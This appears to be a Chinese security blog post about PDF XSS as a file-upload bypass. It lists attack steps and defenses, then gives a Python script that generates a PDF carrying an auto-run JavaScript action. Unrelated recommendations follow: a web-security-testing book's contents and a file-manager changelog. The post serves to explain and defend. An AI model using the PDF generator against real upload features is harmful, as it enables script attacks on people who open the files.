文件上传最容易忽略的文件类型:PDF

        当我们发现一个文件上传功能的时候,可能会尝试上传一些脚本文件,但是如果后端设置了文件白名单的时候,该怎么办呢。那么我们可以关注是否可以上传pdf类型文件,可能存在pdf xss漏洞。

        PDF XSS漏洞是指攻击者通过在PDF文件中插入恶意代码,从而在用户打开PDF文件时执行恶意操作的一种安全漏洞。下面是关于PDF XSS漏洞的总结和过程:

        攻击的的步骤为:

        1.攻击者创建一个恶意PDF文件,其中包含恶意脚本代码。

        2.攻击者将恶意PDF文件发送给目标用户,或者将其上传到一个可供用户下载的网站上。

        3.用户下载并打开恶意PDF文件。

        4.PDF阅读器解析PDF文件,并执行其中的脚本代码。

        5.恶意脚本代码执行恶意操作,例如窃取用户的敏感信息、修改用户的数据等。

        那么如何对上述漏洞进行防御呢:

        1.更新PDF阅读器:及时更新PDF阅读器的版本,以获取最新的安全修复和漏洞补丁。

        2.限制PDF文件的来源:只从可信的来源下载PDF文件,避免下载和打开未知或可疑的PDF文件。

        3.使用安全阅读器插件:安装一些安全阅读器插件,可以提供额外的安全保护和漏洞检测功能。

        4.定期审查PDF文件:定期审查已下载的PDF文件,删除可能包含恶意脚本代码的文件。

        说白了,就是对pdf进行代码检查,或者直接禁用pdf - -

poc.pdf:

# FROM https://github.com/osnr/horrifying-pdf-experiments
import sys

from pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArray

def make_js_action(js):
    action = PdfDict()
    action.S = PdfName.JavaScript
    action.JS = js
    return action
 
def make_field(name, x, y, width, height, r, g, b, value=""):
    annot = PdfDict()
    annot.Type = PdfName.Annot
    annot.Subtype = PdfName.Widget
    annot.FT = PdfName.Tx
    annot.Ff = 2
    annot.Rect = PdfArray([x, y, x + width, y + height])
    annot.MaxLen = 160
    annot.T = PdfString.encode(name)
    annot.V = PdfString.encode(value)
 
    # Default appearance stream: can be arbitrary PDF XObject or
    # something. Very general.
    annot.AP = PdfDict()
 
    ap = annot.AP.N = PdfDict()
    ap.Type = PdfName.XObject
    ap.Subtype = PdfName.Form
    ap.FormType = 1
    ap.BBox = PdfArray([0, 0, width, height])
    ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0])
    ap.stream = """
%f %f %f rg
0.0 0.0 %f %f re f
""" % (r, g, b, width, height)

    # It took me a while to figure this out. See PDF spec:
    # https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641

    # Basically, the appearance stream we just specified doesn't
    # follow the field rect if it gets changed in JS (at least not in
    # Chrome).

    # But this simple MK field here, with border/color
    # characteristics, _does_ follow those movements and resizes, so
    # we can get moving colored rectangles this way.
    annot.MK = PdfDict()
    annot.MK.BG = PdfArray([r, g, b])

    return annot

def make_page(fields, script):
    page = PdfDict()
    page.Type = PdfName.Page

    page.Resources = PdfDict()
    page.Resources.Font = PdfDict()
    page.Resources.Font.F1 = PdfDict()
    page.Resources.Font.F1.Type = PdfName.Font
    page.Resources.Font.F1.Subtype = PdfName.Type1
    page.Resources.Font.F1.BaseFont = PdfName.Helvetica

    page.MediaBox = PdfArray([0, 0, 612, 792])

    page.Contents = PdfDict()
    page.Contents.stream = """
BT
/F1 24 Tf
ET
    """

    annots = fields

    page.AA = PdfDict()
    # You probably should just wrap each JS action with a try/catch,
    # because Chrome does no error reporting or even logging otherwise;
    # you just get a silent failure.
    page.AA.O = make_js_action("""
try {
  %s
} catch (e) {
  app.alert(e.message);
}
    """ % (script))

    page.Annots = PdfArray(annots)
    return page

if len(sys.argv) > 1:
    js_file = open(sys.argv[1], 'r')

    fields = []
    for line in js_file:
        if not line.startswith('/// '): break
        pieces = line.split()
        params = [pieces[1]] + [float(token) for token in pieces[2:]]
        fields.append(make_field(*params))

    js_file.seek(0)

    out = PdfWriter()
    out.addpage(make_page(fields, js_file.read()))
    out.write('result.pdf')


 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
[WEB安全测试].(美)霍普.扫描版.pdf (美)霍普 等 著 傅鑫 等 译 出 版 社:清华大学出版社 ISBN:9787302219682 出版时间:2010-03-01 版  次:1 页  数:281 装  帧:平装 开  本:16开 所属分类:图书 > 计算机与互联网 > 计算机安全 内容简介   在你对Web应用所执行的测试中,安全测试可能是最重要的,但它却常常是最容易忽略的。本书中的秘诀演示了开发和测试人员在进行单元测试、回归测试或探索性测试的同时,如何去检查最常见的Web安全问题。与即兴的安全评估不同的是,这些秘诀是可重复的、简洁的、系统的——可以完美地集成到你的常规测试套装中。   本书中的秘诀所覆盖的基础知识包括了从观察客户端和服务器之间的消息到使用脚本完成登录并执行Web应用功能的多阶段测试。在本书的最后,你将能够建立精确定位到Ajax函数的测试,以及适用于常见怀疑对象(跨站式脚本和注入攻击)的大型多级测试。   本书将帮助你:   ·获取、安装和配置有用的——且免费的——安全测试工具   ·理解你的应用如何与用户通信,这样你就可以在测试中更好地模拟攻击   ·从许多不同的模拟常见攻击(比如SQL注入、跨站式脚本和操纵隐藏表单域)的方法中进行选择   ·作为自动化测试的出发点,通过使用秘诀中的脚本和例子,使你的测试可重复   不用再担心午夜来电话告诉你站点被破坏了。通过本书和示例中所用的免费工具,你可以将安全因素加入到你的测试套装中,从而得以睡个安稳觉。 作者简介   Paco Hope,是Cigital公司的一名技术经理,《Mastering FreeBsD and 0penBsDsecurity》 (由O’Reilly出版)的合著者之一。他也发表过有关误用、滥用案例和PKI的文章。他曾被邀请到会议就软件安全需求、Web应用安全和嵌入式系统安全等话题发表演讲。在Cigital,他曾担任MasterCard Internationa!在安全策略方面的主题专家,而且曾协助一家世界500强的服务业公司编写软件安全策略。他也为软件开发和测试人员提供软件安全基础方面的培训。他还曾为博彩业和移动通信行业中的几家公司提出过软件安全方面的建议。Paco曾在威廉玛丽学院主修计算机科学和英语,并从弗吉尼亚大学获得计算机科学方面的理学硕士学位。   Ben Waltller,是Cigital公司的一名顾问,Edit C00kies工具的开发者之一。他同时参与标准质量保证和软件安全方面的工作。他日复一日地设计和执行测试一一因此他理解忙碌的QA领域对简单秘诀的需求。他也曾对开放式Web应用程序安全项目(0WAsP)的成员就w曲应用测试工具发表过演讲。 目录 序 1 前言 3 第1章 绪论 13 1.1 什么是安全测试 13 1.2 什么是Web应用 17 1.3 Web应用基础 21 1.4 Web应用安全测试 25 1.5 方法才是重点 26 第2章 安装免费工具 29 2.1 安装Firefox 29 2.2 安装Firefox扩展 30 2.3 安装Firebug 31 2.4 安装OWASP的WebScarab 32 2.5 在Windows上安装Perl及其软件包 33 2.6 在Linux, Unix或OS X上安装Perl和使用CPAN 34 2.7 安装CAL9000 35 2.8 安装ViewState Decoder 36 2.9 安装cURL 36 2.10 安装Pornzilla 37 2.11 安装Cygwin 38 2.12 安装Nikto 2 39 2.13 安装Burp Suite 40 2.14 安装Apache HTTP Server 41 第3章 基本观察 43 3.1 查看网页的HTML源代码 44 3.2 查看源代码,高级功能 45 3.3 使用Firebug观察实时的请求头 48 3.4 使用WebScarab观察实时的POST数据 52 3.5 查看隐藏表单域 55 3.6 使用TamperData观察实时的响应头 56 3.7 高亮显示JavaScript和注释 59 3.8 检测JavaScript事件 60 3.9 修改特定的元素属性 61 3.10 动态跟踪元素属性 63 3.11 结论 65 第4章 面向Web的数据编码 66 4.1 辨别二进制数据表示 67 4.2 使用Base-64 69 4.3 在网页中转换Base-36数字 71 4.4 在Perl中使用Base-36 71 4.5 使用以URL方式编码的数据 72 4.6 使用HTML实体数据 74 4.7 计算散列值 76 4.8 辨别时间格式 78 4.9 以编程方式对时间值进行编码 80 4.10 解码ASP.NET的视图状态 81 4.11 解码多重编码 83 第5章 篡改输入 85 5.1 截获和修改POST请求 86 5.2 绕过输入限制 89 5.3 篡改URL 90 5.4 自动篡改URL 93 5.5 测试对URL长度的处理 94 5.6 编辑Cookie 96 5.7 伪造浏览器头信息 99 5.8 上传带有恶意文件名的文件 101 5.9 上传文件 104 5.10 上传恶意XML实体文件 105 5.11 上传恶意XML结构 107 5.12 上传恶意ZIP文件 109 5.13 上传样例病毒文件 110 5.14 绕过用户界面的限制 111 第6章 自动化批量扫描 114 6.1 使用WebScarab爬行网站 115 6.2 将爬行结果转换为清单 117 6.3 减少要测试的URL 120 6.4 使用电子表格程序来精简列表 120 6.5 使用LWP对网站做镜像 121 6.6 使用wget对网站做镜像 123 6.7 使用wget对特定的清单做镜像 124 6.8 使用Nikto扫描网站 125 6.9 理解Nikto的输出结果 127 6.10 使用Nikto扫描HTTPS站点 128 6.11 使用带身份验证的Nikto 129 6.12 在特定起始点启动Nikto 130 6.13 在Nikto中使用特定的会话Cookie 131 6.14 使用WSFuzzer测试Web服务 132 6.15 理解WSFuzzer的输出结果 134 第7章 使用cURL实现特定任务的自动化 137 7.1 使用cURL获取页面 138 7.2 获取URL的许多变体 139 7.3 自动跟踪重定向 140 7.4 使用cURL检查跨站式脚本 141 7.5 使用cURL检查目录遍历 144 7.6 冒充特定类型的网页浏览器或设备 147 7.7 以交互方式冒充另一种设备 149 7.8 使用cURL模仿搜索引擎 151 7.9 通过假造Referer头信息来伪造工作流程 152 7.10 仅获取HTTP头 153 7.11 使用cURL发送POST请求 154 7.12 保持会话状态 156 7.13 操纵Cookie 157 7.14 使用cURL上传文件 158 7.15 建立多级测试用例 159 7.16 结论 164 第8章 使用LibWWWPerl实现自动化 166 8.1 编写简单的Perl脚本来获取页面 167 8.2 以编程方式更改参数 169 8.3 使用POST模仿表单输入 170 8.4 捕获和保存Cookie 172 8.5 检查会话过期 173 8.6 测试会话固定 175 8.7 发送恶意Cookie值 177 8.8 上传恶意文件内容 179 8.9 上传带有恶意名称的文件 181 8.10 上传病毒到应用 182 8.11 使用Perl解析接收到的值 184 8.12 以编程方式来编辑页面 186 8.13 使用线程化提高性能 189 第9章 查找设计缺陷 191 9.1 绕过必需的导航 192 9.2 尝试特权操作 194 9.3 滥用密码恢复 195 9.4 滥用可预测的标识符 197 9.5 预测凭证 199 9.6 找出应用中的随机数 200 9.7 测试随机数 202 9.8 滥用可重复性 204 9.9 滥用高负载操作 206 9.10 滥用限制性的功能 208 9.11 滥用竞争条件 209 第10章 攻击AJAX 211 10.1 观察实时的AJAX请求 213 10.2 识别应用中的JavaScript 214 10.3 从AJAX活动回溯到源代码 215 10.4 截获和修改AJAX请求 216 10.5 截获和修改服务器响应 218 10.6 使用注入数据破坏AJAX 220 10.7 使用注入XML破坏AJAX 222 10.8 使用注入JSON破坏AJAX 223 10.9 破坏客户端状态 224 10.10 检查跨域访问 226 10.11 通过JSON劫持来读取私有数据 227 第11章 操纵会话 229 11.1 在Cookie中查找会话标识符 230 11.2 在请求中查找会话标识符 232 11.3 查找Authentication头 233 11.4 分析会话ID过期 235 11.5 使用Burp分析会话标识符 239 11.6 使用WebScarab分析会话随机性 240 11.7 更改会话以逃避限制 245 11.8 假扮其他用户 247 11.9 固定会话 248 11.10 测试跨站请求伪造 249 第12章 多层面的测试 251 12.1 使用XSS窃取Cookie 251 12.2 使用XSS创建覆盖 253 12.3 使用XSS产生HTTP请求 255 12.4 以交互方式尝试基于DOM的XSS 256 12.5 绕过字段长度限制(XSS) 258 12.6 以交互方式尝试跨站式跟踪 259 12.7 修改Host头 261 12.8 暴力猜测用户名和密码 263 12.9 以交互方式尝试PHP包含文件注入 265 12.10 制作解压缩炸弹 266 12.11 以交互方式尝试命令注入 268 12.12 系统地尝试命令注入 270 12.13 以交互方式尝试XPath注入 273 12.14 以交互方式尝试服务器端包含(SSI)注入 275 12.15 系统地尝试服务器端包含(SSI)注入 276 12.16 以交互方式尝试LDAP注入 278 12.17 以交互方式尝试日志注入 280
可道云文件管理kodbox像Windows操作一样的企业网盘,云端文档管理,在企业网盘内也能像在电脑上操作一般熟悉而流畅,熟悉框选、拖拽、快捷键,从来没这么简单方便可道云文件管理kodbox 1.15 更新日志:2020-12-31功能新增及优化文件管理文件夹显示子内容个数;(支持:kod存储,物理路径存储)文档属性与信息面板统一;文件属性拥有更全的功能及信息,包括权限设置,历史记录,操作日志,扩展数据等;文档属性:数据请求优化;md5获取优化;本地文件加入最近访问时间;快捷操作:标签管理/设置描述/收藏/置顶处理;搜索增强:加入双引号则全词匹配支持,内部不进行空格切分;批量上传文件夹:空文件夹新建进度展示,避免过多时界面没有变化。分享与协作优化:与我协作:入口优先级提高;支持选中隐藏,批量隐藏;(对不重要的内容进行整理);外链分享与内部协作分享拆分;文件-外链分享默认开启外链分享;分享时间显示优化内部协作分享:仅文件夹支持内部协作分享;分享物理路径支持上传等处理;复制内部协作url链接;自定义分享对象组合;(最近使用)最近使用:最近分享/权限设置出的用户及部门,按次数排序,总共10个部门在前用户在后;groupAuth操作菜单(hover):清空.复制该组合.粘贴组合.保存到常用(自适应显示)设置分享对象时:增加选择,自定义组合优先展示,与企业网盘为同一等级;保存组合到常用;点击则自动导入存储的用户及权限组合;hover菜单:编辑/删除。体验优化,移动端H5优化移动端地址栏搜索栏样式优化,搜索更方便;文件列表分页信息优化,少于一页且少于20条不显示分页信息;文件多选时:不允许左滑拖拽;多选底部菜单宽度自适应,显示图标;登录界面优化,输入框,按钮等加大,便于操作;后台页面优化:菜单栏样式优化,界面载入动画处理;样式优化:树目录行高,属性面板,对话框标题栏;上传对话框,上传-批量下载,批量重命名,图片打印,批量设置权限...右键操作菜单优化:快捷键提示提示显示优化;菜单点击hover效果处理,两次点击进入二级菜单优化;(菜单九宫格样式)手势操作增强:(处理事件冒泡,重叠情况)操作菜单(文件操作,多选操作等):下滑手势关闭;所有模态对话框:下拉手势关闭对话框;tab菜单手势滑动切换,包含滚动条时自动过滤;侧边栏手势支持:文件管理树目录,后台菜单侧边栏,个人中心侧边栏;在页面右滑可打开侧边栏,左滑关闭;手势处理:点击元素允许input,但当前焦点为input时忽略,点击input切换tab后焦点input的blur处理;移动端有文字选中则不开始拖拽。其他优化增强php8兼容插件中心搜索插件实时处理结果;多语言移动到个人设置;文件历史版本合并到属性面板;去除之前单独界面;拖拽排序组件:拖拽表格顺序时自动保持单元格宽度;收藏绑定时没有数据,后续添加数据后无法拖拽问题处理;文件列表接口:文件文件夹图标自定义;有则优先使用设定的图标。formMaker嵌套子表单支持嵌套子表单:支持children处理;多层级复杂组合;表单项为多个子项的组合值;子表单数据管理:添加,修改,删除(删除确认);拖拽调整顺序;子表单添加编辑类型:对话框打开添加和编辑;行内添加和编辑;(为空检测,错误处理)安全性调整;文件禁用下载权限时,pdf预览界面禁用下载及打印;ofd文件同理;用户个人中心:安全管理:增加历史登录过的设备及位置(根据ip)多端登录安全管控:规则操作,拖拽调整顺序;规则逻辑处理。bug修复无扩展名文件上传拦截异常处理;单文件文件夹右键设置标签;pc客户端:本地打开,本地编辑;打开方式加入到可选内容中;webdav获取文件列表,数据只能获取3000条情况处理。(webdav请求数据,获取全量不分页)

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值